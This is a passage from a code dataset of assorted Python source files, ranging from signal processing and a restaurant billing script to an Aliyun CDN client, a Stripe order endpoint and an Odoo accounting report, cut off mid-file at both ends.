overlayFlags.evtStore() +  \"+MDT_DIGITS\")\n        if not overlayFlags.isDataOverlay():\n            kwargs.setdefault(\"OutputSDOName\", overlayFlags.evtStore() + \"+MDT_SDO\")\n    kwargs.setdefault(\"GetT0FromBD\", overlayFlags.isDataOverlay())\n    return MdtDigitizationTool(name,**kwargs)\n\ndef getMDT_OverlayDigitizer(name=\"MDT_OverlayDigitizer\", **kwargs):\n    kwargs.setdefault(\"DigitizationTool\",\"Mdt_OverlayDigitizationTool\")\n    # Multi-threading settinggs\n    from AthenaCommon.ConcurrencyFlags import jobproperties as concurrencyProps\n    is_hive = (concurrencyProps.ConcurrencyFlags.NumThreads() > 0)\n    if is_hive:\n        kwargs.setdefault('Cardinality', concurrencyProps.ConcurrencyFlags.NumThreads())\n        # Set common overlay extra inputs\n        kwargs.setdefault(\"ExtraInputs\", [(\"McEventCollection\", \"TruthEvent\")])\n\n    return CfgMgr.MDT_Digitizer(name,**kwargs)\n","sub_path":"MuonSpectrometer/MuonDigitization/MDT_Digitization/python/MdtDigitizationConfig.py","file_name":"MdtDigitizationConfig.py","file_ext":"py","file_size_in_byte":4931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"604304622","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr  2 18:26:32 2021\n\n@author: justinoberle\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy import fftpack\nfrom scipy import integrate\n\n\ntime_vec = np.arange(1, 11, 1)\nwavelength = [1/.3, 1/.2]\nphase = [0, 1]\namp = [10.1, 10]\nequation0 = amp[0] * np.sin((2 * np.pi / wavelength[0] * time_vec) + phase[0])\nequation1 = amp[1] * np.sin((2 * np.pi / wavelength[1] * time_vec) + phase[1])\ncreated_equation = equation0 + equation1\n\nfig, axs = plt.subplots(3, 1, figsize=(10,6))\naxs[0].plot(time_vec, created_equation, label='exact_data')\n\n\n\n''' Do FFT and to get power and freq '''\ndef fft(sig, dt = 1):\n    sig_fft = fftpack.fft(sig)\n    power = np.abs(sig_fft)\n    sample_freq = fftpack.fftfreq(sig.size, d=dt)\n    return sig_fft, power, sample_freq\n\n# find n most dominent frequencies\ndef find_peak_freqs(sample_freq, power, n=2):\n    # this will break if there are duplicate frequencies with the exact same amplitude but this is highly unlikely so I left it as is\n    pos_mask = np.where(sample_freq > 0)\n    freqs = sample_freq[pos_mask]\n    pos_power = power[pos_mask]\n    pos_power_sorted = sorted(pos_power)\n    dominent = pos_power_sorted[-n:]\n    # need to reorganize dominent to have proper sorting now\n    index_list = []\n    for i in range(len(dominent)):\n        index_list.append(np.where(pos_power == dominent[i]))\n    power_index = []\n    for i in range(len(index_list)):\n        power_index.append(pos_power[index_list[i]])\n    dominant_freq_indices = []\n    peak_freqs = []\n    for i in range(len(dominent)):\n        dominant_freq_indices.append(np.where(pos_power == dominent[i]))\n        peak_freqs.append(freqs[dominant_freq_indices[i]])\n    # # remove 1/f noise\n    # peak_freqs_temp = peak_freqs.copy()\n    # peak_freqs = [i for i in peak_freqs if round(1/i[0]) < len(sample_freq)]\n    # if len(peak_freqs) < 1:\n    #     peak_freqs = peak_freqs_temp\n    return peak_freqs, pos_power, freqs \n\ndef create_n_signals(sig_mean, sig, sig_fft, peak_freqs, sample_freq):\n    # loop through n iteratons to break apart signal into each frequency by itself. filtered_signals\n    filtered_signals = []\n    for i in range(len(peak_freqs)):\n        high_freq_fft = sig_fft.copy()\n        high_freq_fft[np.abs(sample_freq) < np.nanmin(peak_freqs[i])] = 0\n        high_freq_fft[np.abs(sample_freq) > np.nanmax(peak_freqs[i])] = 0\n        filtered_sig = fftpack.ifft(high_freq_fft)\n        filtered_sig += sig_mean\n        filtered_signals.append(filtered_sig)\n    return filtered_signals\n\ndef create_combined_filtered_sig(sig_mean, sig, sig_fft, peak_freqs, sample_freq):\n    # zero out every frequency that is not in peak frequencies, then inv FFT and only those are left\n    # This is only used in plotting things for verification. Don't use for predictions only as it will slow down performance\n    high_freq_fft = np.empty(len(sig_fft), dtype='complex128')\n    high_freq_fft.fill(0)\n    peak_freqs = [i[0] for i in peak_freqs]\n    for j in range(len(high_freq_fft)):\n        if np.abs(sample_freq[j]) in peak_freqs:\n            high_freq_fft[j] = sig_fft[j]\n        else:\n            high_freq_fft[j] = sig_fft[j]\n            pass\n    filtered_sig = fftpack.ifft(high_freq_fft)\n    filtered_sig += sig_mean\n    return filtered_sig, high_freq_fft\n\ndef find_phases_wavelengths_amps(filtered_signals, high_freq_fft, peak_freqs, sig_size):\n    ''' need to find where filtered_sig crosses mean and is increasing then use this index as phase start '''\n    # do this for each frequency to find array of phases and wavelengths\n    wavelength = []\n    ph = []\n    amp = []\n    for j in range(len(peak_freqs)):\n        wavelength.append(1 / peak_freqs[j])\n        sample_index = np.where(sample_freq==peak_freqs[j])\n        phase = np.arctan2(high_freq_fft[sample_index].imag, high_freq_fft[sample_index].real)\n        formula = ((((wavelength[j][0]) / 2) - 2) * np.pi) / wavelength[j][0]\n        ph.append([phase + formula])\n        amp.append([np.sqrt((high_freq_fft[sample_index].real * high_freq_fft[sample_index].real) + (high_freq_fft[sample_index].imag * high_freq_fft[sample_index].imag)) / (sig_size / 2)])\n    return ph, wavelength, amp\n    \ndef eqn(filtered_si, wavelength, time_vec, phase, amp):\n    return amp * np.sin((2 * np.pi / wavelength * time_vec) + phase)# + np.mean(filtered_si)\n\ndef find_equations(filtered_signals_mean, high_freq_fft, wavelength, filtered_signals, time_vec, ph, amp):\n    # find equation for each frequency and place into a list of equations\n    equations = []\n    power_new = np.abs(high_freq_fft)\n#    temp_powers = [i for i in power_new if i != 0]\n#    temp_power = [] \n#    [temp_power.append(x) for x in temp_powers if x not in temp_power]\n    for i in range(len(wavelength)):\n        temp = eqn(filtered_signals[i], wavelength[i][0], time_vec, ph[i][0], amp[i][0])\n        equations.append(temp + filtered_signals_mean)\n    return equations, power_new\n\ndef predict_future(new_time_vec, equations, filtered_signals, wavelength, ph, amp):\n    # predict future for each equation\n    pred = []\n#    lines = []\n    for i in range(len(equations)):\n        pred.append(eqn(filtered_signals[i], wavelength[i][0], new_time_vec, ph[i][0], amp[i][0]))\n#        line = np.empty(len(time_vec))\n#        line.fill(np.mean(abs(filtered_signals[i].real)))\n#        lines.append(line)\n    return pred\n\n\npred_list = []\nsig = created_equation\nsig_mean = np.mean(sig)\nsig_fft, power, sample_freq = fft(sig)\npeak_freqs, pos_power, freqs = find_peak_freqs(sample_freq, power, n=len(sig))\nfiltered_signals = create_n_signals(sig_mean, sig, sig_fft, peak_freqs, sample_freq)\nfiltered_sig, high_freq_fft = create_combined_filtered_sig(sig_mean, sig, sig_fft, peak_freqs, \n                                                           sample_freq)\n\n'''my equation generator is wrong. The phase and or wavelength might be wrong as well.'''\n''' IMPORTANT... my sum of waves is fine, mostly. It is the equation generator for each individual\n    signal that needs fixed. Once fixed, summing should work '''\n    \nph, wavelength, amp = find_phases_wavelengths_amps(filtered_signals, high_freq_fft, peak_freqs, len(sig))\n# ph = []\n# for i in range(len(high_freq_fft)):\n#     ph.append(np.angle(high_freq_fft[i]))\nfiltered_signals_mean = np.abs(np.mean(filtered_signals))\nequations, power_new = find_equations(filtered_signals_mean, high_freq_fft, wavelength, \n                                      filtered_signals, time_vec, ph, amp)\ntotal_equations = sum(equations)\npred_x = np.arange(time_vec[-1] + 1, time_vec[-1] + 2)\npred_x = np.insert(pred_x, 0, time_vec[-1])\npredicted_curves = predict_future(pred_x, equations, filtered_signals, wavelength, ph, amp)\ntotal_pred = sum(predicted_curves) + filtered_signals_mean\ndif = sig[-1] - total_pred[0]\ntotal_pred = total_pred + dif\ntotal_pred = np.array([0 if j < 0 else j for j in total_pred])\ntotal_pred = total_pred[1:]\n\naxs[0].plot(time_vec, filtered_sig, label='filtered_sig_combined')\naxs[1].plot(time_vec, total_equations, label='total_equations')\naxs[1].plot(time_vec, created_equation, label='total Signal')\naxs[2].plot(pred_x, predicted_curves[-1] + np.mean(filtered_signals[-1]), linewidth=3, label='pred[-1]')\naxs[2].plot(time_vec, filtered_signals[-1], label='filtered_sig[-1]')\naxs[2].plot(time_vec, equations[-1], label='equations[-1]')\n# axs[2].plot(time_vec, filtered_signals[-2])\n# axs[2].plot(time_vec, filtered_signals[-3])\n# axs[2].plot(time_vec, filtered_signals[-4])\n\naxs[0].legend()\naxs[1].legend()\naxs[2].legend()\nfig.tight_layout()\nplt.show()  \n\n\n","sub_path":"phase_fix.py","file_name":"phase_fix.py","file_ext":"py","file_size_in_byte":7614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"511641353","text":"def function(a, b):\n\tlength = max(len(a), len(b))\n\tfor i in range(length):\n\t\tif a[i:] == b[:length - i]:\n\t\t\treturn a + b[length - i:]\n\treturn a + b\nif __name__ == '__main__':\n\timport functools.reduce\n\timport sys.argv\n\tvalues = sys.argv[1:]\n\tif values:\n\t\tvalue = functools.reduce(function, values)\n\t\tprint(value)\n","sub_path":"common/splice.py","file_name":"splice.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"590227576","text":"from time import sleep\nimport linecache\n\ndoing = open(\"Doing.txt\", \"r\")\nTodo = open(\"To Do.txt\" ,\"r\")\nDone = open(\"Done.txt\", \"r\")\n\n#intros for tranfer\ndoingprint = \"You are DOING these tasks:\\n\"\ntodoprint = \"You are TO DO these tasks:\\n\"\ndoneprint = \"You have DONE thse tasks:\\n\"\n#intros for adding\ndoingadd = \"You are adding to the DOING list\"\ntodoadd = \"You are adding to the TO DO list\"\ndoneprint = \"You are adding to the DONE list\"\n\n\ndef transfer(filepath1, filepath2 ,msg1 ,msg2):\n    #Display DOING\n    with open(filepath1) as fp:\n       line = fp.readline()\n       cnt = 1\n       print(msg1)\n       while line:\n           print(\"Task {}: {}\".format(cnt, line.strip()))\n           line = fp.readline()\n           cnt += 1\n    print(61 * '-')      \n    sleep(0.25)\n    #Display TO DO\n    with open(filepath2) as fp:\n        \n        line = fp.readline()\n        cnt = 1\n        print(msg2)\n        while line:\n            print(\"Task {}: {}\".format(cnt, line.strip()))\n            line = fp.readline()\n            cnt += 1\n    print(61 * '-')\n    #User chooses task to move \n    tnumchoice  = int(input(\"Choose a task number from the top set of tasks [x] : \"))\n    #file reads and assigns the line contents\n    chosentask = linecache.getline(filepath1 , tnumchoice)\n    #Display choice and remove unnecercary charcters\n    chosentask = str(chosentask)\n    chosentask = chosentask.strip(\"['\")\n    chosentask = chosentask.strip(\"']\")\n    chosentask = chosentask.strip(\"n\")\n    chosentask = chosentask.rstrip(\"\\n\")\n\n    doing.close()\n    Todo.close()\n    \n    #Adds chosen line ot another file (no base)\n    with open(filepath2, \"a+\") as file_object:\n            file_object.seek(0)\n            data = file_object.read(100)\n            if len(data) > 0:\n                    file_object.write(\"\\n\")\n            file_object.write(chosentask)\n    Todo.close\n    print(61 * \"-\")\n    print(\"Your task has been transferred\")\n    print(61 * \"-\")\n    sleep(0.25)\n    print(\"Removing redundant task...\")\n    print(61 * '-')\n    \n    #Removes moved task from old file (base 0)\n    with open(filepath1) as f:\n            tasklist = f.read().splitlines()\n    tnumchoice = tnumchoice-1\n    tasklist.pop(tnumchoice)\n    f.close()\n    with open(filepath1, 'w') as filehandle:\n        filehandle.writelines(\"%s\\n\" % line for line in tasklist)\n    filehandle.close()\nprint(61 * '-')\nprint(\"You have chosen to move an item from DOING to TO DO\")\nprint(61 * '-')\ntransfer(\"Doing.txt\",\"to do.txt\" ,doingprint, todoprint)\nprint(\"Thank you for using TO DO list\")\nprint(61 * '-')\n","sub_path":"Transfer bug fix.py","file_name":"Transfer bug fix.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"625777489","text":"from itertools import product\nfrom functools import reduce\nimport re\n\n\ndef run(numbers):\n    is_spoken = {i: [idx] for idx, i in enumerate(numbers)}\n\n    i = len(is_spoken)\n    while len(numbers) < 2020:\n        last_number = numbers[-1]\n\n        if last_number in is_spoken:\n            when = is_spoken[last_number]\n\n            if len(when) > 1:\n                diff = when[-1] - when[-2]\n                numbers.append(diff)\n                is_spoken.setdefault(diff, []).append(i)\n            else:\n                numbers.append(0)\n                is_spoken.setdefault(0, []).append(i)\n\n        i += 1\n\n    return numbers[-1]\n\n\ndef main():\n    with open(\"15.txt\") as input:\n        numbers = [int(i) for i in input.readline().strip().split(\",\")]\n\n        print(run(numbers))\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    exit(main())","sub_path":"day15/15a.py","file_name":"15a.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"71049962","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2019 CESNET.\n#\n# Invenio Records Presentation is free software; you can redistribute it and/or modify it\n# under the terms of the MIT License; see LICENSE file for more details.\n\n\"\"\" API for Invenio Records Presentation.\"\"\"\nfrom typing import Optional\n\nfrom invenio_accounts.models import User\nfrom invenio_db import db\nfrom invenio_records_files.api import Record\nfrom invenio_workflows import workflows, WorkflowObject\nfrom invenio_workflows.errors import WorkflowsMissingData\nfrom sqlalchemy.orm.exc import NoResultFound\n\nfrom invenio_records_presentation.errors import WorkflowsRecordNotFound\nfrom invenio_records_presentation.permissions import needs_permission\nfrom invenio_records_presentation.workflows import PresentationWorkflow\nfrom .utils import obj_or_import_string, ScratchDirectory\n\n\nclass PresentationWorkflowObject(WorkflowObject):\n    \"\"\"Main entity for the presentation workflow module.\"\"\"\n\n    def __init__(self, model=None):\n        \"\"\"Instantiate class.\"\"\"\n        super(PresentationWorkflowObject, self).__init__(model)\n\n    @needs_permission()\n    def start_workflow(self, workflow_name, delayed=False, permissions=None,\n                       record_uuid=None, user=None, request_headers=dict, **kwargs):\n        \"\"\"Run the workflow specified on the object.\n           :param workflow_name: name of workflow to run\n           :type workflow_name: str\n\n           :param delayed: should the workflow run asynchronously?\n           :type delayed: bool\n\n           :param record_uuid: UUID of a Record to be presented\n           :param user: dict containing user metadata\n           :param request_headers: headers dict of a calling request\n\n           :return: UUID of WorkflowEngine (or AsyncResult).\n        \"\"\"\n        if permissions is None:\n            raise WorkflowsMissingData(\"Missing workflow permissions\")\n\n        if not user:\n            raise WorkflowsMissingData(\"Missing user info\")\n\n        if not record_uuid:\n            raise WorkflowsMissingData(\"Missing Record ID\")\n\n        self.model.extra_data['_record'] = record_uuid\n        self.model.extra_data['_user'] = user\n        self.model.extra_data['_request'] = request_headers\n        self.model.extra_data['_scratch'] = self.scratch.dir_path\n\n        from invenio_workflows.tasks import start\n\n        self.save()\n        db.session.commit()\n\n        if delayed:\n            return start.delay(workflow_name, object_id=self.id, **kwargs)\n        else:\n            return start(workflow_name, data=[self], **kwargs)\n\n    @property\n    def extra_data(self):\n        return self.model.extra_data\n\n    @property\n    def record(self) -> Optional[Record]:\n        try:\n            return Record.get_record(self.model.extra_data['_record'])\n        except NoResultFound:\n            raise WorkflowsRecordNotFound('No Record for id: {}'\n                                          .format(self.model.extra_data['_record']))\n\n    @property\n    def user(self):\n        return User.query.get(self.model.extra_data['_user']['id'])\n\n    @property\n    def scratch(self) -> ScratchDirectory:\n        if self.model.extra_data.get('_scratch', None):\n            return ScratchDirectory.from_path(self.model.extra_data['_scratch'])\n\n        return ScratchDirectory()\n\n\nclass Presentation(object):\n\n    def __init__(self, name: str, permissions: list):\n        self.name = name\n        self.permissions = []\n        self.init_permissions(permissions)\n        self.initialized = True\n\n    def init_permissions(self, permission_list: list):\n        \"\"\" Initialize permissions needed for presentation tasks execution \"\"\"\n        for perm, args in permission_list:\n            perm_obj = obj_or_import_string(perm)\n            if not perm_obj:\n                raise AttributeError('Permission \"{}\" could not be initialized'.format(perm))\n\n            self.permissions.append(perm_obj(args))\n\n    @property\n    def workflow(self) -> Optional[PresentationWorkflow]:\n        return workflows.get(self.name, None)\n\n    def prepare(self, record_uuid, user, request_headers=dict, delayed=True) -> str:\n        \"\"\" Prepare Presentation of a given record\n\n            :param record_uuid: UUID of a Record to be presented\n            :param user: dict containing user metadata\n            :param request_headers: headers dict of a calling request\n\n            :returns eng_uuid: running workflow engine UUID\n        \"\"\"\n        assert self.initialized\n\n        presentation_obj = PresentationWorkflowObject().create(data='/tmp')\n        return presentation_obj.start_workflow(self.name, delayed=delayed,\n                                               permissions=self.permissions,\n                                               record_uuid=record_uuid, user=user,\n                                               request_headers=request_headers)\n\n\ndef PresentationOutputFile(path, mimetype, filename):\n    return dict(\n        path=path,\n        mimetype=mimetype,\n        filename=filename,\n    )\n","sub_path":"invenio_records_presentation/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"553752247","text":"import xlrd\nimport xlwt\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nfrom email import encoders\nprice=0\nn=1\ndef orde():\n    global price\n    global n\n    order=input(\"ENTER ID OF FOOD : \")\n    if(order=='no'):\n           ws.write(n,3,price)\n           ws.write(n,2,\"GRAND TOTAL\")\n           bill.save('bill.xls')\n           noorder()\n    else:\n        for k in range(1,7,1):\n            if(order==rs.cell_value(k,2)):\n               cost=int(rs.cell_value(k,1))\n               qty=int(input(\"SELECT THE QUANTITY OF FOOD : \"))\n               #print(type(qty))\n               price=price+(cost*qty)\n               print(price)\n               ws.write(n,0,rs.cell_value(k,3))\n               ws.write(n,1,cost)\n               ws.write(n,2,qty)\n               ws.write(n,3,(cost*qty))       \n               n+=1\n               orde()\n        \n        \ndef noorder():\n    global n\n    print(\"THANK YOU\")\n    rb=xlrd.open_workbook('bill.xls')\n    rs=rb.sheet_by_index(0)\n    for i in range(0,n+1,1):\n        for j in range(0,4,1):\n            print(rs.cell_value(i,j),end='  ')\n        print(\"\\n\")\n    print(\"\\n YOUR BILL IS\",price,\"Rs.\")\n    mail()\n\ndef mail():\n    fromaddr = \"divyamgupta0501@gmail.com\"\n    toaddr = \"divyam0501g@gmail.com\"\n    msg = MIMEMultipart()\n    msg['From'] = fromaddr\n    msg['To'] = toaddr\n    msg['Subject'] = \"Fodd bill.\"\n    body = \"Your bill is\"\n    part = MIMEBase('application', \"octet-stream\")\n    part.set_payload(open(\"bill.xls\", \"rb\").read())\n    encoders.encode_base64(part)\n    part.add_header('Content-Disposition', 'attachment; filename=\"bill.xls\"')\n    msg.attach(part)\n    msg.attach(MIMEText(body, 'plain'))\n    server = smtplib.SMTP('smtp.gmail.com', 587)\n    server.starttls()\n    server.login(fromaddr, \"password\")\n    text = msg.as_string()\n    server.sendmail(fromaddr, toaddr, text)\n    server.quit()\nprint(\"        MENUE\")\nrb=xlrd.open_workbook('div.xls')\nrs=rb.sheet_by_index(0)\nbill=xlwt.Workbook()\nws=bill.add_sheet(\"Sheet 1\")\nws.write(0,0,\"FOOD\")\nws.write(0,1,\"PRICE\")\nws.write(0,2,\"QTY\")\nws.write(0,3,\"TOTAL\")\nfor i in range(0,7,1):\n    for j in range(0,4,1):\n            print(rs.cell_value(i,j),end='  ')\n    print(\"\\n\")\nper=input(\"Do you wanna order : \")\nif(per=='yes'):\n\torde()\t\nelif(per=='no'):\n    noorder()\n\n","sub_path":"project/smart resturent/smartresturent.py","file_name":"smartresturent.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"611718213","text":"import numpy  as np \nimport pandas as pd \n\ndef standardize_col_names(df):\n    \"\"\"lowercase column names of a dataframe\n\n    Args:\n        df (dataframe): pandas dataframe\n\n    Returns:\n        df: tranformed dataframe\n    \"\"\"    \n    df.columns = df.columns.map(lambda col: col.lower())\n    return df \n\n\ndef one_hot_encode(arr, num_labels):\n    \"\"\"Perform Aggregation to build a list of sequence per group and perform sorted count aggregations\n\n    Args:\n        array (numpy): numpy array\n        num_labels (i): number of labels or categories\n\n    Returns:\n        one_hot: numpy array OHE\n    \"\"\"    \n    # Initialize the the encoded array\n    one_hot = np.zeros((arr.size, num_labels), dtype=np.float32)\n    # Fill the appropriate elements with ones\n    one_hot[np.arange(one_hot.shape[0]), arr.flatten()] = 1.\n    # Finally reshape it to get back to the original array\n    one_hot = one_hot.reshape((*arr.shape, num_labels))\n    return one_hot\n\ndef create_sequences(df, grouping_cols:list, aggregation_col:str):\n    \"\"\"Perform Aggregation to build a list of sequence per group and perform sorted count aggregations\n\n    Args:\n        df (dataframe): pandas dataframe\n        grouping_cols (list): list of string column names to group on\n        aggregation_cols (str): aggreation column to perform collection on per group\n\n    Returns:\n        df: tranformed dataframe\n    \"\"\"    \n    aggr_seq_col = f\"{aggregation_col}_sequence\"\n    df_agg = pd.DataFrame(df.groupby(grouping_cols)[aggregation_col].apply(lambda x: x.tolist()))\n    df_agg = df_agg.rename(columns={aggregation_col: aggr_seq_col}).reset_index()\n    df_agg[f\"{aggr_seq_col}_counts\"]        = df_agg[aggr_seq_col].apply(lambda x: len(x))\n    df_agg[f\"{aggr_seq_col}_unique_counts\"] = df_agg[aggr_seq_col].apply(lambda x: len(np.unique(x))) \n    df_agg = df_agg.sort_values(by=f\"{aggr_seq_col}_counts\", ascending=False)\n    return df_agg\n","sub_path":"hunter/core/datasets/transformers.py","file_name":"transformers.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"568287145","text":"#阿里雲\nimport config as cfg\nimport requests\nimport urllib.parse\nimport hmac\nimport base64\nfrom uuid import uuid4\nfrom hashlib import sha1\nfrom datetime import datetime, timezone\nfrom flask import request, jsonify\nfrom pprint import pprint\n\n\ndef urlencode(old_dict):\n    keys = list(old_dict.keys())\n    keys.sort()\n    data = []\n    for key in keys:\n        data.append(urllib.parse.urlencode({key: old_dict.get(key)}))\n    return '&'.join(data)\n\n\nclass Aliyun:\n    def __init__(self, access_key_id, access_key_secret):\n        self.access_key_secret = access_key_secret\n        self.default_request_data = {\n            'Format': 'json',\n            'Version': '2014-11-11',\n            'AccessKeyId': access_key_id, #密鑰ID\n            #'Signature': '', #簽名結果 由func算出\n            'SignatureMethod': 'HMAC-SHA1', #簽名算法\n            'SignatureVersion': '1.0',\n            #'SignatureNonce': str(uuid4()), #隨機值 由func每次添加\n            #'Timestamp': datetime.now(timezone.utc).isoformat().split('.')[0] + 'Z', #時間戳 由func每次添加\n        }\n\n    def _request(self, data=None, **kwargs):\n        data.update(self.default_request_data)\n        data['SignatureNonce'] = str(uuid4())\n        data['Timestamp'] = datetime.now(timezone.utc).isoformat().split('.')[0] + 'Z'\n\n        data_encode = urlencode(data)\n        data_encode = urllib.parse.quote(data_encode)\n        data_encode = data_encode.replace('+', '%20')\n        data_encode = data_encode.replace('*', '%2A')\n        data_encode = data_encode.replace('%7E', '~')\n\n        sign = 'GET&%2F&' + data_encode\n        h = hmac.new((self.access_key_secret + '&').encode(), sign.encode(), sha1)\n        signature = base64.encodestring(h.digest()).strip().decode()\n\n        data['Signature'] = signature\n        return requests.get('https://cdn.aliyuncs.com/', params=data, **kwargs)\n\n    def domainList(self):\n        r = self._request({\n            'Action': 'DescribeUserDomains'\n        }).json()\n\n        results = []\n        for item in r['Domains']['PageData']:\n            if item['DomainStatus'] == 'online': #目前還沒有做網域開關的資訊 暫時先過濾開啟的\n                results.append({\n                    'id': item['DomainName'],\n                    'name': item['DomainName'],\n                    'value': item['DomainName'], #給前端多選框用\n                })\n        return results\n\n    def cacheClear(self, domain_names):\n        if domain_names == '*':\n            domain_names = ['https://%s/' % (item['name']) for item in self.domainList()]\n        else:\n            domain_names = domain_names if type(domain_names) == list else [domain_names]\n            domain_names_new = []\n            for item in self.domainList():\n                if item['name'] in domain_names:\n                    domain_names_new.append('https://%s/' % (item['name']))\n            domain_names = domain_names_new\n\n        r = self._request({\n            'Action': 'RefreshObjectCaches',\n            'ObjectPath': '\\n'.join(domain_names),\n        }).json()\n\n        if r.get('error', False):\n            return {'error': True, 'message': r['Message']}\n        return r\n","sub_path":"module/Aliyun.py","file_name":"Aliyun.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"486970587","text":"from collections import Counter\nfrom flask import request\nfrom flask_restful import Resource\n\nfrom libs.strings import gettext\nfrom models.item import ItemModel\nfrom models.order import OrderModel, ItemsInOrder\nfrom schemas.order import OrderSchema\n\norder_schema = OrderSchema()\n\n\nclass Order(Resource):\n    @classmethod\n    def get(cls):\n        \"\"\"\n        This endpoint is solely for testing purpose so that we can get a better idea what is happening\n        for each successful/failed charge.\n        :return: a list of all orders\n        \"\"\"\n        # You could also define a `OrderSchema(many=True)` above, like we did for items and stores!\n        return order_schema.dump(OrderModel.find_all(), many=True), 200\n\n    @classmethod\n    def post(cls):\n        \"\"\"\n        Expect a token and a list of item ids from the request body.\n        Construct an order and talk to the Strip API to make a charge.\n        \"\"\"\n        data = request.get_json()  # token + list of item ids  [1, 2, 3, 5, 5, 5]\n        items = []\n        item_id_quantities = Counter(data[\"item_ids\"])\n\n        # Iterate over items and retrieve them from the database\n        for _id, count in item_id_quantities.most_common():\n            item = ItemModel.find_by_id(_id)\n            if not item:\n                return {\"message\": gettext(\"order_item_by_id_not_found\").format(_id)}, 404\n\n            items.append(ItemsInOrder(item_id=_id, quantity=count))\n\n        order = OrderModel(items=items, status=\"pending\")\n        order.save_to_db()  # this does not submit to Stripe\n\n        order.set_status(\"failed\")  # assume the order would fail until it's completed\n        order.charge_with_stripe(data[\"token\"])\n        order.set_status(\"complete\")  # charge succeeded\n\n        return order_schema.dump(order), 200\n","sub_path":"end/resources/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"155327019","text":"import random\nif __name__ ==\"__main__\":    #四位数字字母验证码的生成\n    checkcode=\"\" #保存验证码的变量\n    for i in range(4):\n        index=random.randrange(0,4)  #生成一个0~3中的数\n        if index!=i and index +1 !=i:\n            checkcode +=chr(random.randint(97,122))  # 生成a~z中的一个小写字母\n        elif index +1==i:\n            checkcode +=chr(random.randint(65,90) ) # 生成A~Z中的一个大写字母\n        else:\n            checkcode +=str(random.randint(1,9))  # 数字1-9\n    print(checkcode)\n","sub_path":"03-python3-day20210621/python3_yzm.py","file_name":"python3_yzm.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"10430649","text":"from odoo import api, fields, models, _\nfrom dateutil.relativedelta import relativedelta\nfrom odoo.exceptions import UserError\nfrom datetime import datetime\nimport time\n\n\nclass WizardAgedPartnerLedger(models.TransientModel):\n    _inherit = ['wizard.kg.report.base', 'account.aged.trial.balance']\n    _name = 'wizard.kg.report.aged.partner.balance'\n    _title = \"KG Report - Aged Partner Balance\"\n\n    ap_account_id = fields.Many2one('account.account', string='Account Payable')\n    ar_account_id = fields.Many2one('account.account', string='Account Receivable')\n    supplier_id = fields.Many2many('res.partner', string='Partner')\n    customer_id = fields.Many2many('res.partner', string='Partner')\n\n    @api.onchange('ap_account_id', 'ar_account_id')\n    def onchange_account_id(self):\n        if not self.ap_account_id:\n            self.supplier_id = None\n        elif not self.ar_account_id:\n            self.customer_id = None\n\n    @api.multi\n    def _get_data(self):\n        get_aged_partner_balance = self.get_aged_partner_balance_data()\n        self.report_has_logo = False  # sample report has logo\n\n        data = {\n            'config': {\n                'start_date': self.date_from,\n                'period_length': self.period_length,\n                'partners': dict(self._fields['result_selection'].selection).get(self.result_selection),\n                'target_move': dict(self._fields['target_move'].selection).get(self.target_move),\n                'account_id': self.ap_account_id.name,\n                'partner_id': self.supplier_id.name,\n                'printed_by': self.env.user.name,\n                'period_0': self.period_length,\n                'period_1': self.period_length + 1,\n                'period_2': 2 * self.period_length,\n                'period_3': 2 * self.period_length + 1,\n                'period_4': 3 * self.period_length,\n            },\n            'data': get_aged_partner_balance\n        }\n        return data\n\n    @api.multi\n    def get_aged_partner_balance_data(self):\n        where_account_clause, where_partner_clause, where_result_selection_clause, where_target_move_clause = self.query_get_clause()\n\n        supplier_format_clause = tuple(self.supplier_id.ids)\n        if len(self.supplier_id.ids) == 1:\n            supplier_format_clause = (self.supplier_id.ids[0])\n\n        customer_format_clause = tuple(self.customer_id.ids)\n        if len(self.customer_id.ids) == 1:\n            customer_format_clause = (self.customer_id.ids[0])\n\n        start_date = self.date_from\n        period_0 = str(self.period_length)  # 30\n        period_1 = str(self.period_length + 1)  # 31\n        period_2 = str(2 * self.period_length)  # 60\n        period_3 = str(2 * self.period_length + 1)  # 61\n        period_4 = str(3 * self.period_length)  # 90\n\n        query = \"\"\"                   \n            select acc.internal_type, coalesce(s.partner_id, 0) as partner_id, coalesce(rp.name, 'Unknown Partner') as partner_name\n                , s.account_id, acc.name as account_name                \n                , sum(case when ('\"\"\" + start_date + \"\"\"' - s.date) <= \"\"\" + period_0 + \"\"\" then \n                    (case when acc.internal_type = 'payable' then -1*(s.debit-s.credit) else (s.debit-s.credit) end) else 0 end) as amount1\n                , sum(case when ('\"\"\" + start_date + \"\"\"' - s.date) between \"\"\" + period_1 + \"\"\" and \"\"\" + period_2 + \"\"\" then \n                    (case when acc.internal_type = 'payable' then -1*(s.debit-s.credit) else (s.debit-s.credit) end) else 